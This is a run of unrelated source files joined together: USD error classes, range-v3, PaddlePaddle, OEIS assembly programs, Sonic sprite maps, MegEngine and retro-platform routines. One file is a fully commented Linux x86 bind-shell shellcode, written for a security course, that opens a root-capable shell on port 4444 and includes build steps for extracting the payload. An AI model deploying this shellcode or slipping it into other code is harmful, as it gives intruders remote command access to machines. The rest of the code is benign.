TfStringJoin(sublayerStrVec, ", ").c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInvalidSublayerPathPtr
PcpErrorInvalidSublayerPath::New()
{
return PcpErrorInvalidSublayerPathPtr(new PcpErrorInvalidSublayerPath);
}
PcpErrorInvalidSublayerPath::PcpErrorInvalidSublayerPath() :
PcpErrorBase(PcpErrorType_InvalidSublayerPath)
{
}
PcpErrorInvalidSublayerPath::~PcpErrorInvalidSublayerPath()
{
}
// virtual
std::string
PcpErrorInvalidSublayerPath::ToString() const
{
return TfStringPrintf("Could not load sublayer @%s@ of layer @%s@%s%s; "
"skipping.",
sublayerPath.c_str(),
layer ? layer->GetIdentifier().c_str()
: "<NULL>",
messages.empty() ? "" : " -- ",
messages.c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorInvalidVariantSelectionPtr
PcpErrorInvalidVariantSelection::New()
{
return PcpErrorInvalidVariantSelectionPtr(
new PcpErrorInvalidVariantSelection);
}
PcpErrorInvalidVariantSelection::PcpErrorInvalidVariantSelection() :
PcpErrorBase(PcpErrorType_InvalidVariantSelection)
{
}
PcpErrorInvalidVariantSelection::~PcpErrorInvalidVariantSelection()
{
}
// virtual
std::string
PcpErrorInvalidVariantSelection::ToString() const
{
return TfStringPrintf("Invalid variant selection {%s = %s} at <%s> "
"in @%s@.",
vset.c_str(),
vsel.c_str(),
sitePath.GetText(),
siteAssetPath.c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorOpinionAtRelocationSourcePtr
PcpErrorOpinionAtRelocationSource::New()
{
return PcpErrorOpinionAtRelocationSourcePtr(
new PcpErrorOpinionAtRelocationSource);
}
PcpErrorOpinionAtRelocationSource::PcpErrorOpinionAtRelocationSource() :
PcpErrorBase(PcpErrorType_OpinionAtRelocationSource)
{
}
PcpErrorOpinionAtRelocationSource::~PcpErrorOpinionAtRelocationSource()
{
}
// virtual
std::string
PcpErrorOpinionAtRelocationSource::ToString() const
{
return TfStringPrintf("The layer @%s@ has an invalid opinion at the "
"relocation source path <%s>, which will be "
"ignored.",
layer->GetIdentifier().c_str(),
path.GetText());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorPrimPermissionDeniedPtr
PcpErrorPrimPermissionDenied::New()
{
return PcpErrorPrimPermissionDeniedPtr(new PcpErrorPrimPermissionDenied);
}
PcpErrorPrimPermissionDenied::PcpErrorPrimPermissionDenied() :
PcpErrorBase(PcpErrorType_PrimPermissionDenied)
{
}
PcpErrorPrimPermissionDenied::~PcpErrorPrimPermissionDenied()
{
}
// virtual
std::string
PcpErrorPrimPermissionDenied::ToString() const
{
return TfStringPrintf("%s\n"
"will be ignored because:\n"
"%s\n"
"is private and overrides its opinions.",
TfStringify(site).c_str(),
TfStringify(privateSite).c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorPropertyPermissionDeniedPtr
PcpErrorPropertyPermissionDenied::New()
{
return PcpErrorPropertyPermissionDeniedPtr(
new PcpErrorPropertyPermissionDenied);
}
PcpErrorPropertyPermissionDenied::PcpErrorPropertyPermissionDenied() :
PcpErrorBase(PcpErrorType_PropertyPermissionDenied)
{
}
PcpErrorPropertyPermissionDenied::~PcpErrorPropertyPermissionDenied()
{
}
// virtual
std::string
PcpErrorPropertyPermissionDenied::ToString() const
{
return TfStringPrintf("The layer at @%s@ has an illegal opinion about "
"%s <%s> which is private across a reference, "
"inherit, or variant. Ignoring.",
layerPath.c_str(),
propType == SdfSpecTypeAttribute ?
"an attribute" : "a relationship",
propPath.GetText());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorSublayerCyclePtr
PcpErrorSublayerCycle::New()
{
return PcpErrorSublayerCyclePtr(new PcpErrorSublayerCycle);
}
PcpErrorSublayerCycle::PcpErrorSublayerCycle() :
PcpErrorBase(PcpErrorType_SublayerCycle)
{
}
PcpErrorSublayerCycle::~PcpErrorSublayerCycle()
{
}
// virtual
std::string
PcpErrorSublayerCycle::ToString() const
{
return TfStringPrintf("Sublayer hierarchy with root layer @%s@ has cycles. "
"Detected when layer @%s@ was seen in the layer "
"stack for the second time.",
layer->GetIdentifier().c_str(),
sublayer->GetIdentifier().c_str());
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorTargetPermissionDeniedPtr
PcpErrorTargetPermissionDenied::New()
{
return PcpErrorTargetPermissionDeniedPtr(
new PcpErrorTargetPermissionDenied);
}
PcpErrorTargetPermissionDenied::PcpErrorTargetPermissionDenied()
: PcpErrorTargetPathBase(PcpErrorType_TargetPermissionDenied)
{
}
PcpErrorTargetPermissionDenied::~PcpErrorTargetPermissionDenied()
{
}
// virtual
std::string
PcpErrorTargetPermissionDenied::ToString() const
{
TF_VERIFY(ownerSpecType == SdfSpecTypeAttribute ||
ownerSpecType == SdfSpecTypeRelationship);
return TfStringPrintf(
"The %s <%s> from <%s> in layer @%s@ targets an object that is "
"private on the far side of a reference or inherit. This %s "
"will be ignored.",
(ownerSpecType == SdfSpecTypeAttribute
? "attribute connection" : "relationship target"),
targetPath.GetText(),
owningPath.GetText(),
layer->GetIdentifier().c_str(),
(ownerSpecType == SdfSpecTypeAttribute
? "connection" : "target"));
}
///////////////////////////////////////////////////////////////////////////////
PcpErrorUnresolvedPrimPathPtr
PcpErrorUnresolvedPrimPath::New()
{
return PcpErrorUnresolvedPrimPathPtr(new PcpErrorUnresolvedPrimPath);
}
PcpErrorUnresolvedPrimPath::PcpErrorUnresolvedPrimPath() :
PcpErrorBase(PcpErrorType_UnresolvedPrimPath)
{
}
PcpErrorUnresolvedPrimPath::~PcpErrorUnresolvedPrimPath()
{
}
// virtual
std::string
PcpErrorUnresolvedPrimPath::ToString() const
{
return TfStringPrintf("Unresolved %s path <%s> on prim %s.",
TfEnum::GetDisplayName(arcType).c_str(),
unresolvedPath.GetText(),
TfStringify(site).c_str());
}
///////////////////////////////////////////////////////////////////////////////
void
PcpRaiseErrors(const PcpErrorVector &errors)
{
TF_FOR_ALL(err, errors) {
TF_RUNTIME_ERROR("%s", (*err)->ToString().c_str());
}
}
PXR_NAMESPACE_CLOSE_SCOPE
|
/// \file
// Range v3 library
//
// Copyright Eric Niebler 2013-present
//
// Use, modification and distribution is subject to the
// Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//
// Project home: https://github.com/ericniebler/range-v3
//
#ifndef RANGES_V3_VIEW_DROP_HPP
#define RANGES_V3_VIEW_DROP_HPP
#include <type_traits>
#include <meta/meta.hpp>
#include <range/v3/iterator_range.hpp>
#include <range/v3/range_concepts.hpp>
#include <range/v3/range_fwd.hpp>
#include <range/v3/range_traits.hpp>
#include <range/v3/view_interface.hpp>
#include <range/v3/algorithm/min.hpp>
#include <range/v3/detail/satisfy_boost_range.hpp>
#include <range/v3/utility/box.hpp>
#include <range/v3/utility/functional.hpp>
#include <range/v3/utility/iterator_traits.hpp>
#include <range/v3/utility/optional.hpp>
#include <range/v3/utility/static_const.hpp>
#include <range/v3/view/all.hpp>
#include <range/v3/view/view.hpp>
namespace ranges
{
inline namespace v3
{
/// \addtogroup group-views
/// @{
template<typename Rng>
struct RANGES_EMPTY_BASES drop_view
: view_interface<drop_view<Rng>, is_finite<Rng>::value ? finite : range_cardinality<Rng>::value>
, private detail::non_propagating_cache<
iterator_t<Rng>,
drop_view<Rng>,
!RandomAccessRange<Rng>()>
{
private:
friend range_access;
using difference_type_ = range_difference_type_t<Rng>;
Rng rng_;
difference_type_ n_;
template<typename CRng = Rng const>
iterator_t<CRng> get_begin_(std::true_type, std::true_type) const
{
CONCEPT_ASSERT(RandomAccessRange<CRng>());
return next(ranges::begin(rng_), n_, ranges::end(rng_));
}
iterator_t<Rng> get_begin_(std::true_type, std::false_type)
{
CONCEPT_ASSERT(RandomAccessRange<Rng>());
return next(ranges::begin(rng_), n_, ranges::end(rng_));
}
iterator_t<Rng> get_begin_(std::false_type, detail::any)
{
CONCEPT_ASSERT(!RandomAccessRange<Rng>());
using cache_t = detail::non_propagating_cache<
iterator_t<Rng>, drop_view<Rng>>;
auto &begin_ = static_cast<cache_t&>(*this);
if(!begin_)
begin_ = next(ranges::begin(rng_), n_, ranges::end(rng_));
return *begin_;
}
public:
drop_view() = default;
drop_view(Rng rng, difference_type_ n)
: rng_(std::move(rng)), n_(n)
{
RANGES_EXPECT(n >= 0);
}
iterator_t<Rng> begin()
{
return this->get_begin_(RandomAccessRange<Rng>{}, std::false_type{});
}
sentinel_t<Rng> end()
{
return ranges::end(rng_);
}
template<typename CRng = Rng const,
CONCEPT_REQUIRES_(RandomAccessRange<CRng>())>
iterator_t<CRng> begin() const
{
return this->get_begin_(std::true_type{}, std::true_type{});
}
template<typename CRng = Rng const,
CONCEPT_REQUIRES_(RandomAccessRange<CRng>())>
sentinel_t<CRng> end() const
{
return ranges::end(rng_);
}
CONCEPT_REQUIRES(SizedRange<Rng const>())
range_size_type_t<Rng> size() const
{
auto const s = static_cast<range_size_type_t<Rng>>(ranges::size(rng_));
auto const n = static_cast<range_size_type_t<Rng>>(n_);
return s < n ? 0 : s - n;
}
CONCEPT_REQUIRES(SizedRange<Rng>())
range_size_type_t<Rng> size()
{
auto const s = static_cast<range_size_type_t<Rng>>(ranges::size(rng_));
auto const n = static_cast<range_size_type_t<Rng>>(n_);
return s < n ? 0 : s - n;
}
Rng & base()
{
return rng_;
}
Rng const & base() const
{
return rng_;
}
};
namespace view
{
struct drop_fn
{
private:
friend view_access;
template<typename Int,
CONCEPT_REQUIRES_(Integral<Int>())>
static auto bind(drop_fn drop, Int n)
RANGES_DECLTYPE_AUTO_RETURN
(
make_pipeable(std::bind(drop, std::placeholders::_1, n))
)
#ifndef RANGES_DOXYGEN_INVOKED
template<typename Int,
CONCEPT_REQUIRES_(!Integral<Int>())>
static detail::null_pipe bind(drop_fn, Int)
{
CONCEPT_ASSERT_MSG(Integral<Int>(),
"The object passed to view::drop must be Integral");
return {};
}
#endif
template<typename Rng>
static drop_view<all_t<Rng>>
invoke_(Rng && rng, range_difference_type_t<Rng> n, concepts::InputRange*)
{
return {all(static_cast<Rng&&>(rng)), n};
}
template<typename Rng, CONCEPT_REQUIRES_(!View<uncvref_t<Rng>>() &&
std::is_lvalue_reference<Rng>() && SizedRange<Rng>())>
static iterator_range<iterator_t<Rng>, sentinel_t<Rng>>
invoke_(Rng && rng, range_difference_type_t<Rng> n, concepts::RandomAccessRange*)
{
return {begin(rng) + ranges::min(n, distance(rng)), end(rng)};
}
public:
template<typename Rng,
CONCEPT_REQUIRES_(InputRange<Rng>())>
auto operator()(Rng && rng, range_difference_type_t<Rng> n) const
RANGES_DECLTYPE_AUTO_RETURN
(
drop_fn::invoke_(static_cast<Rng&&>(rng), n, range_concept<Rng>{})
)
#ifndef RANGES_DOXYGEN_INVOKED
template<typename Rng, typename T,
CONCEPT_REQUIRES_(!(InputRange<Rng>() && Integral<T>()))>
void operator()(Rng &&, T) const
{
CONCEPT_ASSERT_MSG(InputRange<Rng>(),
"The first argument to view::drop must be a model of the InputRange concept");
CONCEPT_ASSERT_MSG(Integral<T>(),
"The second argument to view::drop must be a model of the Integral concept");
}
#endif
};
/// \relates drop_fn
/// \ingroup group-views
RANGES_INLINE_VARIABLE(view<drop_fn>, drop)
}
/// @}
}
}
RANGES_SATISFY_BOOST_RANGE(::ranges::v3::drop_view)
#endif
|
// Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "paddle/phi/kernels/scale_kernel.h"
#include "paddle/fluid/platform/device/xpu/xpu_header.h"
#include "paddle/phi/backends/xpu/xpu_context.h"
#include "paddle/phi/common/data_type.h"
#include "paddle/phi/common/float16.h"
#include "paddle/phi/core/compat/convert_utils.h"
#include "paddle/phi/core/kernel_registry.h"
namespace phi {
template <typename T, typename Context>
void ScaleKernel(const Context& dev_ctx,
const DenseTensor& x,
const Scalar& scale,
float bias,
bool bias_after_scale,
DenseTensor* out) {
out->mutable_data<T>(dev_ctx.GetPlace());
PADDLE_ENFORCE_EQ(x.dims(),
out->dims(),
paddle::platform::errors::InvalidArgument(
"In and out should have the same dim,"
" expected %s, but got %s.",
x.dims().to_str().c_str(),
out->dims().to_str().c_str()));
using XPUType = typename XPUTypeTrait<T>::Type;
int r = xpu::scale(dev_ctx.x_context(),
reinterpret_cast<const XPUType*>(x.data<T>()),
reinterpret_cast<XPUType*>(out->data<T>()),
x.numel(),
bias_after_scale,
scale.to<float>(),
bias);
PADDLE_ENFORCE_EQ(
r,
XPU_SUCCESS,
paddle::platform::errors::External(
"XPU scale kernel return wrong value[%d %s]", r, XPUAPIErrorMsg[r]));
}
} // namespace phi
PT_REGISTER_KERNEL(scale,
XPU,
ALL_LAYOUT,
phi::ScaleKernel,
float,
phi::dtype::float16,
int64_t) {}
|
; A140234: Sum of the semiprimes <= n.
; 0,0,0,0,4,4,10,10,10,19,29,29,29,29,43,58,58,58,58,58,58,79,101,101,101,126,152,152,152,152,152,152,152,185,219,254,254,254,292,331,331,331,331,331,331,331,377,377,377,426,426,477,477,477,477,532,532,589
mov $2,$0
mov $4,$0
lpb $4
mov $0,$2
sub $4,1
sub $0,$4
mov $3,$0
sub $0,1
seq $0,64911 ; If n is semiprime (or 2-almost prime) then 1 else 0.
mul $3,$0
add $1,$3
lpe
mov $0,$1
|
; A315172: Coordination sequence Gal.5.54.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,6,10,14,18,22,26,30,34,40,46,50,54,58,62,66,70,74,80,86,90,94,98,102,106,110,114,120,126,130,134,138,142,146,150,154,160,166,170,174,178,182,186,190,194,200,206,210,214,218
mov $2,$0
lpb $0,1
sub $0,1
add $4,1
mov $5,8
sub $5,$4
trn $0,$5
add $3,2
mov $4,$5
lpe
trn $3,1
mov $1,$3
add $1,2
lpb $2,1
add $1,4
sub $2,1
lpe
sub $1,1
|
; ---------------------------------------------------------------------------
; Sprite mappings - GHZ platforms
; ---------------------------------------------------------------------------
Map_Plat_GHZ_internal:
dc.w @small-Map_Plat_GHZ_internal
dc.w @large-Map_Plat_GHZ_internal
@small: dc.b 4
dc.b $F4, $B, 0, $3B, $E0 ; small platform
dc.b $F4, 7, 0, $3F, $F8
dc.b $F4, 7, 0, $3F, 8
dc.b $F4, 3, 0, $47, $18
@large: dc.b $A
dc.b $F4, $F, 0, $C5, $E0 ; large column platform
dc.b 4, $F, 0, $D5, $E0
dc.b $24, $F, 0, $D5, $E0
dc.b $44, $F, 0, $D5, $E0
dc.b $64, $F, 0, $D5, $E0
dc.b $F4, $F, 8, $C5, 0
dc.b 4, $F, 8, $D5, 0
dc.b $24, $F, 8, $D5, 0
dc.b $44, $F, 8, $D5, 0
dc.b $64, $F, 8, $D5, 0
even |
; A328005: Number of distinct coefficients in functional composition of 1 + x + ... + x^(n-1) with itself.
; 0,1,2,4,8,13,19,25,33,41,51,61,73,85,99,113,129,145,163,181,201,221,243,265,289,313,339,365,393,421,451,481,513,545,579,613,649,685,723,761,801,841,883,925,969,1013,1059,1105,1153,1201,1251,1301,1353,1405,1459
pow $0,2
mov $5,$0
div $0,2
mul $0,2
sub $0,9
mov $2,12
sub $5,4
div $5,2
lpb $0
mov $0,$2
add $4,1
lpe
mov $1,25
add $4,$5
sub $3,$4
sub $1,$3
sub $1,23
|
; A132354: Integers m such that 7*m + 1 is a square.
; 0,5,9,24,32,57,69,104,120,165,185,240,264,329,357,432,464,549,585,680,720,825,869,984,1032,1157,1209,1344,1400,1545,1605,1760,1824,1989,2057,2232,2304,2489,2565,2760,2840,3045,3129,3344,3432,3657,3749,3984,4080
mul $0,2
mov $2,$0
lpb $2
add $1,$0
sub $0,1
add $1,2
add $1,$0
trn $2,4
lpe
|
; A126965: a(n) = (2*n)!*(2*n-1)/(2^n*n!).
; -1,1,9,75,735,8505,114345,1756755,30405375,585810225,12439852425,288735522075,7273385294175,197646339515625,5763367260275625,179518217255251875,5948862302837829375,208977775735174070625,7757508341684492015625,303429397707601987696875,12473408484142233061809375,537635888765207532741065625,24246067276265090927761715625,1141820610103181607644592421875,56050705060398403806375659109375,2863356230851416330619318245140625,151991623600908854611037688890015625,8371460209704960247105977805726546875
mul $0,2
sub $0,1
mov $1,$0
mul $0,2
lpb $1
mul $0,$1
sub $1,2
lpe
div $0,2
|
; Executable name : bind-shell
; Designed OS : Linux (32-bit)
; Author : wetw0rk
; Version : 1.0
; Created Following : SLAE
; Description : A linux/x86 bind shell. Created by analysing msfvenom;
; original payload was 78 bytes and contained 1 NULL. My
; shellcode is 75 and contains 0 NULLS ;). PORT 4444.
;
; Original Metasploit Shellcode
; sudo msfvenom -p linux/x86/shell_bind_tcp -b "\x00" -f c --smallest -i 0
;
; Build using these commands:
; make
; ./objdump2shellcode.py -d bind-shell -f c -b "\x00"
;
SECTION .text
global _start
_start:
; int socketcall(int call, unsigned long *args) remember to place backwards!
push 102 ; syscall for socketcall() 102
pop eax ; POP 102 into EAX
cdq ; EDX = 0
push ebx ; PUSH EBX(0) onto stack (IPPROTO_IP = 0)
inc ebx ; INC-rement EBX by 1
push ebx ; PUSH EBX(1) onto stack (SOCK_STREAM = 1)
push 2 ; PUSH 2 onto stack (AF_INET = 2)
mov ecx,esp ; top of stack contains our arguments save address in ECX
int 80h ; call that kernel!!
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
pop ebx ; POP stack(2 = SYS_BIND = bind()) into EBX
pop esi ; POP stack(1) into ESI we dont need it
push edx ; PUSH EDX(0) onto the stack (INADDR_ANY = 0)
push word 0x5c11 ; PUSH 0x5c11 onto the stack (PORT:4444)
push edx ; PUSH 00 onto the stack
push byte 0x02 ; PUSH 02 onto the stack (AF_INET = 2)
push 16 ; PUSH 16 onto the stack (ADDRLEN = 16)
push ecx ; PUSH ECX(struct pointer) onto the stack
push eax ; PUSH EAX(socket file descriptor) onto stack
mov ecx,esp ; top of stack contains our argument array save it in ECX
mov al,102 ; syscall for socketcall() 102
int 80h ; call that kernel!!
; int listen(int sockfd, int backlog)
mov [ecx+4],eax ; zero out [ECX+4]
mov bl,4 ; MOV (4 = SYS_LISTEN = listen()) into BL
mov al,102 ; make syscall for socketcall()
int 80h ; call the kernel!!
; accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
inc ebx ; EBX(5) = SYS_ACCEPT = accept()
mov al,102 ; make syscall for socketcall()
int 80h ; call the kernel!!
xchg eax,ebx ; Put socket descriptor in EBX and 0x5 in EAX
pop ecx ; POP 3 into ECX for counter
loop:
; int dup2(int oldfd, int newfd)
mov al,63 ; syscall for dup2()
int 80h ; call the kernel!!
dec ecx ; count down to zero
jns loop ; If SF not set, ECX not negative so continue looping
done:
; int execve(const char *filename, char *const argv[], char *const envp[])
push dword 0x68732f2f ; PUSH hs// onto stack
push dword 0x6e69622f ; PUSH nib/ onto stack
mov ebx,esp ; put the address of "/bin//sh" into EBX via ESP
push eax ; PUSH nulls for string termination
mov ecx,esp ; store argv array into ECX via the stack or ESP
mov al,11 ; make execve() syscall or 11
int 80h ; call then kernel!!
|
; A239065: n^3*(n^4 + n^2 - 1).
; Submitted by Christian Krause
; 1,152,2403,17344,81125,287496,840007,2129408,4841289,10099000,19646891,36078912,63117613,105948584,171615375,269479936,411753617,614103768,896340979,1283192000,1805163381,2499500872,3411249623,4594420224,6113265625,8043673976,10474682427,13510116928,17270363069,21894273000,27541213471,34393260032,42657542433,52568746264,64391775875,78424583616,95001170437,114494762888,137321171559,163942336000,194870061161,230669950392,271965540043,319442640704,373853890125,436023522856,506852361647
add $0,1
mov $2,$0
pow $0,2
mov $1,$2
mul $1,$0
pow $0,2
add $2,$1
mul $0,$2
sub $0,$1
|
/**
* \file dnn/src/cuda/conv_bias/simple_int1.cpp
* MegEngine is Licensed under the Apache License, Version 2.0 (the "License")
*
* Copyright (c) 2014-2021 Megvii Inc. All rights reserved.
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT ARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied.
*/
#include "src/common/algo_base.h"
#include "src/cuda/conv_bias/algo.h"
#include "src/cuda/handle.h"
#include "src/cuda/utils.cuh"
#include "src/cuda/utils.h"
using namespace megdnn;
using namespace cuda;
using namespace conv_bias;
namespace {
std::pair<TensorLayoutArray, ConvBiasForwardImpl::Param> sub_opr_config(
const TensorLayoutArray& layouts, const ConvBiasForwardImpl* opr) {
megdnn_assert(layouts.size() >= 3);
std::pair<TensorLayoutArray, ConvBiasForwardImpl::Param> ret;
ret.first = layouts;
auto change_dtype = [](TensorLayout& layout) {
if (layout.dtype.enumv() == DTypeEnum::QuantizedS1 ||
layout.dtype.enumv() == DTypeEnum::QuantizedS32) {
layout.dtype = dtype::Float32();
}
};
change_dtype(ret.first[0]);
change_dtype(ret.first[1]);
change_dtype(ret.first[2]);
change_dtype(ret.first[3]);
change_dtype(ret.first[4]);
ret.second = opr->param();
ret.second.compute_mode = ConvBiasForwardImpl::Param::ComputeMode::DEFAULT;
return ret;
}
std::pair<TensorLayoutArray, std::unique_ptr<ConvBiasForward>> prepare_sub_opr(
const ConvBiasForwardImpl::AlgoBase::SizeArgs& args) {
auto convbias_opr = args.handle->create_operator<ConvBias>();
auto&& config = sub_opr_config(
{*args.src_layout, *args.filter_layout, *args.bias_layout, *args.z_layout,
*args.dst_layout},
args.opr);
convbias_opr->param() = config.second;
return {config.first, std::move(convbias_opr)};
}
} // namespace
std::vector<Algorithm::SearchItem> ConvBiasForwardImpl::AlgoSimpleInt1::get_subopr_list(
const TensorLayoutArray& layouts, const OperatorBase* opr) const {
auto&& config =
sub_opr_config(layouts, static_cast<const ConvBiasForwardImpl*>(opr));
std::string param_str;
Algorithm::serialize_write_pod(config.second, param_str);
return {{Algorithm::OprType::CONVBIAS_FORWARD, param_str, config.first}};
}
bool ConvBiasForwardImpl::AlgoSimpleInt1::is_available(const SizeArgs& args) const {
if (args.src_layout->dtype.valid() && args.filter_layout->dtype.valid() &&
args.bias_layout->dtype.valid() && args.z_layout->dtype.valid() &&
args.dst_layout->dtype.valid()) {
auto config = prepare_sub_opr(args);
return args.src_layout->dtype.enumv() == args.filter_layout->dtype.enumv() &&
args.src_layout->dtype.enumv() == DTypeEnum::QuantizedS1 &&
get_algorithm(
static_cast<ConvBiasForwardImpl*>(config.second.get()),
config.first[0], config.first[1], config.first[2],
config.first[3], config.first[4]);
} else {
return false;
}
}
WorkspaceBundle ConvBiasForwardImpl::AlgoSimpleInt1::get_workspace_bundle(
void* ptr, const SizeArgs& args) const {
auto config = prepare_sub_opr(args);
SmallVector<size_t> sizes;
auto get_workspace = [&sizes](const TensorLayout& src, const TensorLayout& dst) {
if (src.dtype != dst.dtype) {
sizes.push_back(dst.span().dist_byte());
}
};
get_workspace(*args.src_layout, config.first[0]);
get_workspace(*args.filter_layout, config.first[1]);
get_workspace(*args.bias_layout, config.first[2]);
get_workspace(*args.z_layout, config.first[3]);
get_workspace(*args.dst_layout, config.first[4]);
sizes.push_back(config.second->get_workspace_in_bytes(
config.first[0], config.first[1], config.first[2], config.first[3],
config.first[4], nullptr));
return {ptr, std::move(sizes)};
}
size_t ConvBiasForwardImpl::AlgoSimpleInt1::get_workspace_in_bytes(
const SizeArgs& args) const {
return get_workspace_bundle(nullptr, args).total_size_in_bytes();
}
void ConvBiasForwardImpl::AlgoSimpleInt1::exec(const ExecArgs& args) const {
TensorND fsrc_tensor = *args.src_tensor;
TensorND ffilter_tensor = *args.filter_tensor;
TensorND fbias_tensor = *args.bias_tensor;
TensorND fz_tensor = *args.z_tensor;
TensorND fdst_tensor = *args.dst_tensor;
auto config = prepare_sub_opr(args);
auto bundle = get_workspace_bundle(args.workspace.raw_ptr, args);
CompTypeCvter<dtype::QuantizedS1, dtype::Float32> cvter(args.handle, &bundle);
{
cvter.src_to_comp_type(*args.src_tensor, fsrc_tensor)
.src_to_comp_type(*args.filter_tensor, ffilter_tensor);
}
WorkspaceBundle dst_bundle = {
bundle.get(2),
{bundle.get_size(2), bundle.get_size(3), bundle.get_size(4),
bundle.get_size(5)}};
CompTypeCvter<dtype::QuantizedS32, dtype::Float32> dst_cvter(
args.handle, &dst_bundle);
{
dst_cvter.src_to_comp_type(*args.bias_tensor, fbias_tensor)
.src_to_comp_type(*args.z_tensor, fz_tensor)
.src_to_comp_type(*args.dst_tensor, fdst_tensor);
}
config.second->exec(
fsrc_tensor, ffilter_tensor, fbias_tensor, fz_tensor, fdst_tensor, nullptr,
dst_cvter.workspace());
{ dst_cvter.comp_to_dst_type(fdst_tensor, *args.dst_tensor); }
}
// vim: syntax=cpp.doxygen
|
\ ******************************************************************
\ * Event Vector Routines
\ ******************************************************************
\\ System vars
.old_eventv SKIP 2
.start_eventv ; new event handler in X,Y
{
\\ Remove interrupt instructions
lda #NOP_OP
sta PSG_STROBE_SEI_INSN
sta PSG_STROBE_CLI_INSN
\\ Set new Event handler
sei
LDA EVENTV
STA old_eventv
LDA EVENTV+1
STA old_eventv+1
stx EVENTV
sty EVENTV+1
cli
\\ Enable VSYNC event.
lda #14
ldx #4
jsr osbyte
rts
}
.stop_eventv
{
\\ Disable VSYNC event.
lda #13
ldx #4
jsr osbyte
\\ Reset old Event handler
SEI
LDA old_eventv
STA EVENTV
LDA old_eventv+1
STA EVENTV+1
CLI
\\ Insert interrupt instructions back
lda #SEI_OP
sta PSG_STROBE_SEI_INSN
lda #CLI_OP
sta PSG_STROBE_CLI_INSN
rts
}
|
; #########################################################################
.186
.model tiny
; #########################################################################
.code
start:
mov ax, 03h ; set video mode 80x25, 16 colors
int 10h ; change video mode & clear screen
mov ax, 4c01h ; set error code to 1
int 21h ; return error code
end start
; #########################################################################
|
; A132731: Triangle T(n,k) = 2 * binomial(n,k) - 2 with T(n,0) = T(n,n) = 1, read by rows.
; 1,1,1,1,2,1,1,4,4,1,1,6,10,6,1,1,8,18,18,8,1,1,10,28,38,28,10,1,1,12,40,68,68,40,12,1,1,14,54,110,138,110,54,14,1,1,16,70,166,250,250,166,70,16,1,1,18,88,238,418,502,418,238,88,18,1,1,20,108,328,658,922,922,658,328,108,20,1,1,22,130,438,988,1582,1846,1582,988,438,130,22,1,1,24,154,570,1428,2572,3430,3430,2572
seq $0,28326 ; Twice Pascal's triangle A007318: T(n,k) = 2*C(n,k).
trn $0,3
add $0,1
|
; A065043: Characteristic function of the numbers with an even number of prime factors (counted with multiplicity): a(n) = 1 if n = A028260(k) for some k then 1 else 0.
; 1,0,0,1,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1
add $0,1
pow $0,2
sub $0,1
cal $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
div $0,2
gcd $0,2
mul $0,2
mov $1,$0
sub $1,2
div $1,2
|
; A089898: Product of (digits of n each incremented by 1).
; 1,2,3,4,5,6,7,8,9,10,2,4,6,8,10,12,14,16,18,20,3,6,9,12,15,18,21,24,27,30,4,8,12,16,20,24,28,32,36,40,5,10,15,20,25,30,35,40,45,50,6,12,18,24,30,36,42,48,54,60,7,14,21,28,35,42,49,56,63,70,8,16,24,32,40,48,56,64,72,80,9,18,27,36,45,54,63,72,81,90,10,20,30,40,50,60,70,80,90,100,2,4,6,8,10,12,14,16,18,20,4,8,12,16,20,24,28,32,36,40,6,12,18,24,30,36,42,48,54,60,8,16,24,32,40,48,56,64,72,80,10,20,30,40,50,60,70,80,90,100,12,24,36,48,60,72,84,96,108,120,14,28,42,56,70,84,98,112,126,140,16,32,48,64,80,96,112,128,144,160,18,36,54,72,90,108,126,144,162,180,20,40,60,80,100,120,140,160,180,200,3,6,9,12,15,18,21,24,27,30,6,12,18,24,30,36,42,48,54,60,9,18,27,36,45,54,63,72,81,90,12,24,36,48,60,72,84,96,108,120,15,30,45,60,75,90,105,120,135,150
mov $1,1
lpb $0,1
mov $2,$0
div $0,10
mod $2,10
mul $2,$1
add $1,$2
lpe
|
;
; Amstrad CPC Stdio
;
; putchar - puts a character
; (HL)=char to display
;
; Stefano Bodrato - 8/6/2001
;
;
; $Id: fputc_cons.asm,v 1.5 2015/01/19 01:33:20 pauloscustodio Exp $
;
PUBLIC fputc_cons
INCLUDE "cpcfirm.def"
.fputc_cons
ld hl,2
add hl,sp
ld a,(hl)
cp 13
jr nz,nocr
call firmware
defw txt_output
ld a,10
.nocr call firmware
defw txt_output
ret
|
_grep: file format elf32-i386
Disassembly of section .text:
